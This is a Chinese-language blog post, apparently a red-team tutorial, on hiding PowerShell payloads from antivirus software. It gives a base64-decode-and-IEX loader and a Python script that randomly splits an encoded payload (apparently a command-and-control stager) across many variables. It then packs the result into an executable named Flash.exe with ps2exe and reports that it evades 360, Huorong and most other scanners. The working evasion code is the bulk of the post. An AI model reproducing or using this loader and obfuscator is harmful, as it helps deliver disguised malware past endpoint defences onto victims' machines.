本文作者:culin师傅
01 前 言
昨天在freebuf上看到了一篇文章,讲的是使用ps2exe将powershell.ps1文件,编译成为可执行的EXE文件.原文链接如下:
https://www.freebuf.com/articles/system/290918.html
于是想到自己之前的使用base64对powershell进行免杀,就想讲这两个结合起来玩一下.
02Powershell.ps1免杀
首先讲下如何对powershell.ps1进行免杀:
原先生成的powershell.ps1文件中的内容如下,很容易被杀软检测到.
我们需要做的是将他们整体Base64编码,而后进行加载,免杀后的powershell.ps1格式应该如下
$payload='原先powershell.ps1中内容base64编码后的内容'
$testforwindow=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload)
If ([IntPtr]::size -eq 8) {
IEX $testforwindow
}
按照这种思路,也是可以上线的,但是免杀效果不理想:
于是考虑将代码分离后再组合运行,代码逻辑如下:
$payload1='原先编码的某一部分'
$payload2='原先编码的另一部分'
$testforwindow=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload1+$payload2)
If ([IntPtr]::size -eq 8) {
IEX $testforwindow
}
按照这种思路我们进行了尝试,是可以上线的。但是有时候杀软记录了特征,如果一直固定分离成两个或者三个可能会失效。
于是做出了这样一个想法,随机生成a-z,A-Z,0-9中任意一个字符,将整个编码后的base64字符串进行一个切片,然后赋值给不同的变量,最后组合上线。
按照这个思路,编写了如下的Python代码:
#encoding:utf-8
import os
import sys
import re
import base64
import getopt
import random
def ShellMake():
PATH=input("请输入Payload路径:")
#读取文件
with open (PATH,"r+") as payload:
encode=payload.read()
Before_encode=re.findall("function (.*)",encode,re.S)
Tmp_encode="function "+Before_encode[0]
Temp_encode=base64.b64encode(Tmp_encode.encode('utf-8'))
After_encode=str(Temp_encode)
After_encode=After_encode[2:-1]
Split_Chr=random.randint(65,122)
while Split_Chr >= 91 and Split_Chr<=96:
Split_Chr=random.randint(65,122)
Split_Chr=chr(Split_Chr)
Final_encode=After_encode.split(Split_Chr)
Len=len(Final_encode)
Long_str=''
for i in range(0,Len-1):
Final_encode[i]=Final_encode[i]+Split_Chr
Long_str=Long_str+"$Doit"+str(i)+"+"
#写入新的ps1,此时已经免杀
Long_str=Long_str[0:-1]+"+$Doit"+str(Len-1)
Destion=input("请输入输出目标:")
with open(Destion,"a+") as payload:
payload.writelines("Set-StrictMode -Version 2 \n")
for i in range(0,Len):
payload.writelines("$Doit"+str(i)+"='"+Final_encode[i]+"'\n")
payload.writelines("$testforwindow=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("+Long_str+")) \n")
payload.writelines("If ([IntPtr]::size -eq 8) {"+'\n')
payload.writelines("IEX $testforwindow"+'\n')
payload.writelines("}")
ShellMake()
运行方式如下:
成功生成testfor.ps1文件,生成的文件结果每次都是随机.有时候生成的变量可能达到上百个。
经过Virustotal检测,已经过了很多杀软了:
03py2exe生成exe
ps2exe项目地址如下
https://github.com/MScholtes/PS2EXE.git
存在图形化操作界面,我们直接使用即可,成功生成Flash.exe文件
最终成功生成一个EXE文件,经测试绕过了360,火绒等绝大多数杀软,并且可以正常加载。
本文作者culin师傅,感谢culin的技术分享。